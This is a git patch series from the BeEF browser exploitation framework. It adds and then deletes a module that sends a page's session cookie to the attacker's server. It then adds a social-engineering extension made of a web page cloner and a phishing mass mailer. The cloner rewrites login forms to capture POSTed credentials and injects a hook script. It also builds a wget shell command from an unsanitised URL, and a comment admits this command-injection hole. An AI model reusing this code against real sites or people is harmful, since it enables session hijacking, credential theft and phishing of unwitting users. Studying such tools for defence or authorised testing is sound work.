From 006719768a4ca4202dde87492543f5e1d2817c6b Mon Sep 17 00:00:00 2001 From: unknown Date: Fri, 9 Mar 2012 01:38:37 +0200 Subject: [PATCH 001/397] Adding stub for Skype XSS module --- modules/exploits/skype_xss/command.js | 21 +++++++++++++++++++++ modules/exploits/skype_xss/config.yaml | 25 +++++++++++++++++++++++++ modules/exploits/skype_xss/module.rb | 24 ++++++++++++++++++++++++ 3 files changed, 70 insertions(+) create mode 100644 modules/exploits/skype_xss/command.js create mode 100644 modules/exploits/skype_xss/config.yaml create mode 100644 modules/exploits/skype_xss/module.rb diff --git a/modules/exploits/skype_xss/command.js b/modules/exploits/skype_xss/command.js new file mode 100644 index 000000000..7f0049186 --- /dev/null +++ b/modules/exploits/skype_xss/command.js @@ -0,0 +1,21 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie); + +}); + diff --git a/modules/exploits/skype_xss/config.yaml b/modules/exploits/skype_xss/config.yaml new file mode 100644 index 000000000..fb92775eb --- /dev/null +++ b/modules/exploits/skype_xss/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + get_cookie: + enable: true + category: "Browser" + name: "Get Cookie" + description: "This module will retrieve the session cookie from the current page." + authors: ["bcoles"] + target: + working: ["ALL"] diff --git a/modules/exploits/skype_xss/module.rb b/modules/exploits/skype_xss/module.rb new file mode 100644 index 000000000..ba0fc1350 --- /dev/null +++ b/modules/exploits/skype_xss/module.rb @@ -0,0 +1,24 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Get_cookie < BeEF::Core::Command + + def post_execute + content = {} + content['cookie'] = @datastore['cookie'] + save content + end + +end From f10cf3eb5b4353a056c8282aef945802f94312c5 Mon Sep 17 00:00:00 2001 From: asaafan Date: Fri, 9 Mar 2012 01:53:07 +0200 Subject: [PATCH 002/397] Delete Skype XSS stub from main branch --- modules/exploits/skype_xss/command.js | 21 --------------------- modules/exploits/skype_xss/config.yaml | 25 ------------------------- modules/exploits/skype_xss/module.rb | 24 ------------------------ 3 files changed, 70 deletions(-) delete mode 100644 modules/exploits/skype_xss/command.js delete mode 100644 modules/exploits/skype_xss/config.yaml delete mode 100644 modules/exploits/skype_xss/module.rb diff --git a/modules/exploits/skype_xss/command.js b/modules/exploits/skype_xss/command.js deleted file mode 100644 index 7f0049186..000000000 --- a/modules/exploits/skype_xss/command.js +++ /dev/null @@ -1,21 +0,0 @@ -// -// Copyright 2012 Wade Alcorn wade@bindshell.net -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// -beef.execute(function() { - - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie); - -}); - diff --git a/modules/exploits/skype_xss/config.yaml b/modules/exploits/skype_xss/config.yaml deleted file mode 100644 index fb92775eb..000000000 --- a/modules/exploits/skype_xss/config.yaml +++ /dev/null @@ -1,25 +0,0 @@ -# -# Copyright 2012 Wade Alcorn wade@bindshell.net -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -# -beef: - module: - get_cookie: - enable: true - category: "Browser" - name: "Get Cookie" - description: "This module will retrieve the session cookie from the current page." - authors: ["bcoles"] - target: - working: ["ALL"] diff --git a/modules/exploits/skype_xss/module.rb b/modules/exploits/skype_xss/module.rb deleted file mode 100644 index ba0fc1350..000000000 --- a/modules/exploits/skype_xss/module.rb +++ /dev/null @@ -1,24 +0,0 @@ -# -# Copyright 2012 Wade Alcorn wade@bindshell.net -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -# -class Get_cookie < BeEF::Core::Command - - def post_execute - content = {} - content['cookie'] = @datastore['cookie'] - save content - end - -end From 558ca03ef6f432c82dc2fec1c5078e2aeb0a9ee1 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 27 Aug 2012 10:28:03 +0100 Subject: [PATCH 003/397] Social Eng. extension: added basic structure and web cloner --- .gitignore | 3 +- extensions/social_engineering/config.yaml | 24 ++++ extensions/social_engineering/extension.rb | 31 +++++ .../web_cloner/interceptor.rb | 56 +++++++++ .../web_cloner/web_cloner.rb | 115 ++++++++++++++++++ 5 files changed, 228 insertions(+), 1 deletion(-) create mode 100644 extensions/social_engineering/config.yaml create mode 100644 extensions/social_engineering/extension.rb create mode 100644 extensions/social_engineering/web_cloner/interceptor.rb create mode 100644 extensions/social_engineering/web_cloner/web_cloner.rb diff --git a/.gitignore b/.gitignore index c02e0a406..9ebc010fe 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,4 @@ beef.db test/msf-test -custom-config.yaml \ No newline at end of file +custom-config.yaml +extensions/social_engineering/web_cloner/cloned_pages \ No newline at end of file diff --git a/extensions/social_engineering/config.yaml b/extensions/social_engineering/config.yaml new file mode 100644 index 000000000..d3b279ba6 --- /dev/null +++ b/extensions/social_engineering/config.yaml @@ -0,0 +1,24 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + extension: + social_engineering: + enable: true + name: 'Social Engineering' + authors: ["antisnatchor"] + web_cloner: + add_beef_hook: true + user_agent: "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2" diff --git a/extensions/social_engineering/extension.rb b/extensions/social_engineering/extension.rb new file mode 100644 index 000000000..95edcfe2d --- /dev/null +++ b/extensions/social_engineering/extension.rb @@ -0,0 +1,31 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +module BeEF +module Extension +module SocialEngineering + extend BeEF::API::Extension + + @short_name = 'social_engineering' + @full_name = 'Social Engineering' + @description = 'Phishing attacks for your pleasure: web page cloner (POST interceptor and BeEF goodness), highly configurable mass mailer, etc.' +end +end +end + +require 'extensions/social_engineering/web_cloner/web_cloner' +require 'extensions/social_engineering/web_cloner/interceptor' + + diff --git a/extensions/social_engineering/web_cloner/interceptor.rb b/extensions/social_engineering/web_cloner/interceptor.rb new file mode 100644 index 000000000..7eba2ad46 --- /dev/null +++ b/extensions/social_engineering/web_cloner/interceptor.rb @@ -0,0 +1,56 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +module BeEF + module Extension + module SocialEngineering + + class Interceptor < Sinatra::Base + + def initialize(file_path) + super + @config = BeEF::Core::Configuration.instance + @cloned_page = "" + File.open(file_path,'r').each do |line| + @cloned_page += line + end + end + + # intercept GET + get "/" do + print_info "GET request" + @cloned_page + end + + # intercept POST + # the 'action' attribute of the 'form' element is modified to the URI / + # in this way the request can be intercepted + post "/" do + print_info "POST request" + request.body.rewind + data = request.body.read + print_info "Intercepted data:" + print_info data + + #todo: do a GET request on the target website, retrieve the respone headers and check if X-Frame-Options is present + #todo: or framebusting is present. If is not present, open the original URL in an iFrame, otherwise redirect the user + #todo: to the original page + end + + end + end + end +end + diff --git a/extensions/social_engineering/web_cloner/web_cloner.rb b/extensions/social_engineering/web_cloner/web_cloner.rb new file mode 100644 index 000000000..f962b4e90 --- /dev/null +++ b/extensions/social_engineering/web_cloner/web_cloner.rb @@ -0,0 +1,115 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +module BeEF + module Extension + module SocialEngineering + class WebCloner + include Singleton + + + def initialize + @http_server = BeEF::Core::Server.instance + @config = BeEF::Core::Configuration.instance + @cloned_pages_dir = "#{File.expand_path('../../../../extensions/social_engineering/web_cloner', __FILE__)}/cloned_pages/" + end + + def clone_page(url) + #todo see web_cloner.rb, work perfectly + # output.html and output2.html (the one with the form action modified to /) + # must be stored in cloned_pages + print_info "Cloning page at URL #{url}" + uri = URI(url) + + #output = url.split("/").last #todo test if http://google.com/ produces an error + output = uri.host + output_mod = "#{output}_mod" + + user_agent = @config.get('beef.extension.social_engineering.web_cloner.user_agent') + + #todo: prevent Command Injection + wget = "wget '#{url}' -O #{@cloned_pages_dir + output} --no-check-certificate -c -k -U '#{user_agent}'" + IO.popen(wget.to_s) { |f| @result = f.gets } + print_debug @result + #todo, also check if the URL is valid with: + #unless (url =~ URI::regexp).nil? + # # Correct URL + #end + + #todo: this should be the good way to prevent command injection, because the shell is not open. + #todo: there are issues: Scheme missing when calling wget + #wget_path = "wget" + #env = {} + #args = %W['#{url}' -O #{output} --no-check-certificate -c -k -U #{user_agent}] + #IO.popen([env, wget_path, *args], 'r+') { |f| @result = f.gets } + + + #if !File.writable?(File.basename(@cloned_pages_dir + output_mod)) + # print_info "Cannot write to file..." + # IO.popen("chmod 777 #{@cloned_pages_dir}") { |f| @result = f.gets } + # sleep 2 + #end + + File.open("#{@cloned_pages_dir + output_mod}", 'w') do |out_file| + File.open("#{@cloned_pages_dir + output}", 'r').each do |line| + # Modify the
line changing the action URI to / in order to be properly intercepted by BeEF + if line.include?("") && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook') + out_file.print add_beef_hook(line) + print_info "Added BeEF hook." + else + out_file.print line + end + end + end + print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]" + + file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve + @http_server.mount("/#{output}", BeEF::Extension::SocialEngineering::Interceptor.new(file_path)) + print_info "Mounting cloned page on URL #{output}" + @http_server.remap + end + + private + # Replace with + def add_beef_hook(line) + host = @config.get('beef.http.host') + port = @config.get('beef.http.port') + js = @config.get('beef.http.hook_file') + hook = "http://#{host}:#{port}#{js}" + line.gsub!("","\n") + line + end + + end + end + end +end + From 26c86951a4f29f9612a75ed59e5d725a9e54324d Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 27 Aug 2012 14:30:10 +0100 Subject: [PATCH 004/397] Social Eng. extension: added mass mailer --- extensions/social_engineering/config.yaml | 8 + extensions/social_engineering/extension.rb | 1 + .../mass_mailer/mass_mailer.rb | 173 ++++++++++++++++++ 3 files changed, 182 insertions(+) create mode 100644 extensions/social_engineering/mass_mailer/mass_mailer.rb diff --git a/extensions/social_engineering/config.yaml b/extensions/social_engineering/config.yaml index d3b279ba6..98e2852d6 100644 --- a/extensions/social_engineering/config.yaml +++ b/extensions/social_engineering/config.yaml @@ -22,3 +22,11 @@ beef: web_cloner: add_beef_hook: true user_agent: "Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2" + mass_mailer: + user_agent: "Microsoft-MacOutlook/12.12.0.111556" + host: "smtp.gmail.com" + port: 587 + use_tls: true + helo: "gmail.com" # this is usually the domain name + from: "yourmail@gmail.com" + password: "yourpass" diff --git a/extensions/social_engineering/extension.rb b/extensions/social_engineering/extension.rb index 95edcfe2d..33ca7ac31 100644 --- a/extensions/social_engineering/extension.rb +++ b/extensions/social_engineering/extension.rb @@ -27,5 +27,6 @@ end require 'extensions/social_engineering/web_cloner/web_cloner' require 'extensions/social_engineering/web_cloner/interceptor' +require 'extensions/social_engineering/mass_mailer/mass_mailer' diff --git a/extensions/social_engineering/mass_mailer/mass_mailer.rb b/extensions/social_engineering/mass_mailer/mass_mailer.rb new file mode 100644 index 000000000..11c0e3aae --- /dev/null +++ b/extensions/social_engineering/mass_mailer/mass_mailer.rb @@ -0,0 +1,173 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +module BeEF + module Extension + module SocialEngineering + class MassMailer + require 'net/smtp' + require 'base64' + include Singleton + + def initialize + @config = BeEF::Core::Configuration.instance + @user_agent = @config.get('beef.extension.social_engineering.mass_mailer.user_agent') + @host = @config.get('beef.extension.social_engineering.mass_mailer.host') + @port = @config.get('beef.extension.social_engineering.mass_mailer.port') + @helo = @config.get('beef.extension.social_engineering.mass_mailer.helo') + @from = @config.get('beef.extension.social_engineering.mass_mailer.from') + @password = @config.get('beef.extension.social_engineering.mass_mailer.password') + + @subject = "Hi from BeEF" + end + + # tos_hash is an Hash like: + # 'antisnatchor@gmail.com' => 'Michele' + # 'ciccio@pasticcio.com' => 'Ciccio' + def send_email(tos_hash) + # create new SSL context and disable CA chain validation + if @config.get('beef.extension.social_engineering.mass_mailer.use_tls') + @ctx = OpenSSL::SSL::SSLContext.new + @ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE # In case the SMTP server uses a self-signed cert, we proceed anyway + @ctx.ssl_version = "TLSv1" + end + + # create a new SMTP object, enable TLS with the previous instantiated context, and connects to the server + smtp = Net::SMTP.new(@host, @port) + smtp.enable_starttls(@ctx) unless @config.get('beef.extension.social_engineering.mass_mailer.use_tls') == false + smtp.start(@helo, @from, @password, :login) do |smtp| + tos_hash.each do |mail, name| + message = compose_email(mail, name, @subject) + smtp.send_message(message, @from, mail) + end + end + end + + #todo sending to hostmonster the email is probably flagged as spam: + # todo: error -> 550 550 Administrative prohibition (state 17 + + def compose_email(to, name, subject) + msg_id = random_string(50) + boundary = "------------#{random_string(24)}" + rel_boundary = "------------#{random_string(24)}" + plain_text = "Hi #{name},\nPlease be sure to check this link:\n" + + @file_path = '/Users/morru/WORKS/BeEF/beef-44Con-code/extensions/social_engineering/mass_mailer/templates/default/' + file = 'beef_logo.png' + + header = email_headers(@from, @user_agent, to, name, subject, msg_id, boundary) + plain_body = email_plain_body(plain_text,boundary) + rel_header = email_related(rel_boundary) + html_body = email_html_body(rel_boundary, file, plain_text) + image = email_add_image(file,rel_boundary) + close = email_close(boundary) + + message = header + plain_body + rel_header + html_body + image + close + print_debug "Raw Email content:\n #{message}" + message + end + + def email_headers(from, user_agent, to, name, subject, msg_id, boundary) + headers = < +Subject: #{subject} +MIME-Version: 1.0 +Content-Type: multipart/alternative; + boundary=#{boundary} + +This is a multi-part message in MIME format. +--#{boundary} +EOF + headers + end + + def email_plain_body(plain_text, boundary) + plain_body = < + +#{plain_body}
+
+ #{file}
+
+Thanks + + +--#{rel_boundary} +EOF + html_body + end + + def email_add_image(file, rel_boundary) + file_encoded = [File.read(@file_path + file)].pack("m") # base64 + image = < +Content-Disposition: inline; + filename="#{file}" + +#{file_encoded} +--#{rel_boundary} +EOF + image + end + + def email_close(boundary) + close = < Date: Mon, 27 Aug 2012 16:10:40 +0100 Subject: [PATCH 005/397] Social Eng. extension: added configurable email templates --- extensions/social_engineering/config.yaml | 11 ++- .../mass_mailer/mass_mailer.rb | 92 +++++++++++------- .../templates/default/beef_logo.png | Bin 0 -> 13283 bytes .../mass_mailer/templates/default/mail.html | 19 ++++ .../mass_mailer/templates/default/mail.plain | 8 ++ 5 files changed, 94 insertions(+), 36 deletions(-) create mode 100644 extensions/social_engineering/mass_mailer/templates/default/beef_logo.png create mode 100644 extensions/social_engineering/mass_mailer/templates/default/mail.html create mode 100644 extensions/social_engineering/mass_mailer/templates/default/mail.plain diff --git a/extensions/social_engineering/config.yaml b/extensions/social_engineering/config.yaml index 98e2852d6..d5b3444b2 100644 --- a/extensions/social_engineering/config.yaml +++ b/extensions/social_engineering/config.yaml @@ -28,5 +28,14 @@ beef: port: 587 use_tls: true helo: "gmail.com" # this is usually the domain name - from: "yourmail@gmail.com" + from: "yourpass@gmail.com" password: "yourpass" + # available templates + templates: + default: + # images are by default inline, so if you want to attach something, see below + images: ["beef_logo.png"]#,"second_image.png"] + images_cids: + cid1: "beef_logo.png" + #cid2: "second_image.png" + attachment: [""] diff --git a/extensions/social_engineering/mass_mailer/mass_mailer.rb b/extensions/social_engineering/mass_mailer/mass_mailer.rb index 11c0e3aae..66a965f4f 100644 --- a/extensions/social_engineering/mass_mailer/mass_mailer.rb +++ b/extensions/social_engineering/mass_mailer/mass_mailer.rb @@ -23,22 +23,23 @@ module BeEF def initialize @config = BeEF::Core::Configuration.instance - @user_agent = @config.get('beef.extension.social_engineering.mass_mailer.user_agent') - @host = @config.get('beef.extension.social_engineering.mass_mailer.host') - @port = @config.get('beef.extension.social_engineering.mass_mailer.port') - @helo = @config.get('beef.extension.social_engineering.mass_mailer.helo') - @from = @config.get('beef.extension.social_engineering.mass_mailer.from') - @password = @config.get('beef.extension.social_engineering.mass_mailer.password') + @config_prefix = "beef.extension.social_engineering.mass_mailer" + @templates_dir = "#{File.expand_path('../../../../extensions/social_engineering/mass_mailer/templates', __FILE__)}/" - @subject = "Hi from BeEF" + @user_agent = @config.get("#{@config_prefix}.user_agent") + @host = @config.get("#{@config_prefix}.host") + @port = @config.get("#{@config_prefix}.port") + @helo = @config.get("#{@config_prefix}.helo") + @from = @config.get("#{@config_prefix}.from") + @password = @config.get("#{@config_prefix}.password") end # tos_hash is an Hash like: # 'antisnatchor@gmail.com' => 'Michele' # 'ciccio@pasticcio.com' => 'Ciccio' - def send_email(tos_hash) + def send_email(template, subject, tos_hash) # create new SSL context and disable CA chain validation - if @config.get('beef.extension.social_engineering.mass_mailer.use_tls') + if @config.get("#{@config_prefix}.use_tls") @ctx = OpenSSL::SSL::SSLContext.new @ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE # In case the SMTP server uses a self-signed cert, we proceed anyway @ctx.ssl_version = "TLSv1" @@ -46,10 +47,10 @@ module BeEF # create a new SMTP object, enable TLS with the previous instantiated context, and connects to the server smtp = Net::SMTP.new(@host, @port) - smtp.enable_starttls(@ctx) unless @config.get('beef.extension.social_engineering.mass_mailer.use_tls') == false + smtp.enable_starttls(@ctx) unless @config.get("#{@config_prefix}.use_tls") == false smtp.start(@helo, @from, @password, :login) do |smtp| tos_hash.each do |mail, name| - message = compose_email(mail, name, @subject) + message = compose_email(mail, name, subject, template) smtp.send_message(message, @from, mail) end end @@ -58,23 +59,27 @@ module BeEF #todo sending to hostmonster the email is probably flagged as spam: # todo: error -> 550 550 Administrative prohibition (state 17 - def compose_email(to, name, subject) + def compose_email(to, name, subject, template) msg_id = random_string(50) boundary = "------------#{random_string(24)}" rel_boundary = "------------#{random_string(24)}" - plain_text = "Hi #{name},\nPlease be sure to check this link:\n" - @file_path = '/Users/morru/WORKS/BeEF/beef-44Con-code/extensions/social_engineering/mass_mailer/templates/default/' - file = 'beef_logo.png' + link = "http://127.0.0.1:3000/demos/basic.html" + linktext = "http://antisnatchor.com" header = email_headers(@from, @user_agent, to, name, subject, msg_id, boundary) - plain_body = email_plain_body(plain_text,boundary) + plain_body = email_plain_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.plain"),boundary) rel_header = email_related(rel_boundary) - html_body = email_html_body(rel_boundary, file, plain_text) - image = email_add_image(file,rel_boundary) + html_body = email_html_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.plain"),rel_boundary) + + images = "" + @config.get("#{@config_prefix}.templates.default.images").each do |image| + images += email_add_image(image, "#{@templates_dir}#{template}/#{image}",rel_boundary) + end + close = email_close(boundary) - message = header + plain_body + rel_header + html_body + image + close + message = header + plain_body + rel_header + html_body + images + close print_debug "Raw Email content:\n #{message}" message end @@ -119,35 +124,27 @@ EOF related end - def email_html_body(rel_boundary, file, plain_body) + def email_html_body(html_body, rel_boundary) html_body = < - -#{plain_body}
-
- #{file}
-
-Thanks - - +#{html_body} --#{rel_boundary} EOF html_body end - def email_add_image(file, rel_boundary) - file_encoded = [File.read(@file_path + file)].pack("m") # base64 + def email_add_image(name, path, rel_boundary) + file_encoded = [File.read(path)].pack("m") # base64 encoded + #todo: content-type must be determined at least from file extension, not hardcoded image = < +Content-ID: <#{name}> Content-Disposition: inline; - filename="#{file}" + filename="#{name}" #{file_encoded} --#{rel_boundary} @@ -162,6 +159,31 @@ EOF close end + # Replaces placeholder values from the plain/html email templates + def parse_template(name, link, linktext, template_path) + result = "" + img_config = "#{@config_prefix}.templates.default.images_cids" + img_count = 0 + File.open(template_path, 'r').each do |line| + # change the Recipient name + if line.include?("__name__") + result += line.gsub("__name__",name) + # change the link/linktext + elsif line.include?("__link__") + result += line.gsub("__link__",link).gsub("__linktext__",linktext) + # change images cid/name/alt + elsif line.include?("src=\"cid:__") + img_count += 1 + result += line.gsub("__cid#{img_count}__", + @config.get("#{img_config}.cid#{img_count}")).gsub("__img#{img_count}__", + @config.get("#{img_config}.cid#{img_count}")) + else + result += line + end + end + result + end + def random_string(length) output = (0..length).map{ rand(36).to_s(36).upcase }.join output diff --git a/extensions/social_engineering/mass_mailer/templates/default/beef_logo.png b/extensions/social_engineering/mass_mailer/templates/default/beef_logo.png new file mode 100644 index 0000000000000000000000000000000000000000..24a718216bf0ce32eb57afe5514dd0dfad728f07 GIT binary patch literal 13283 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 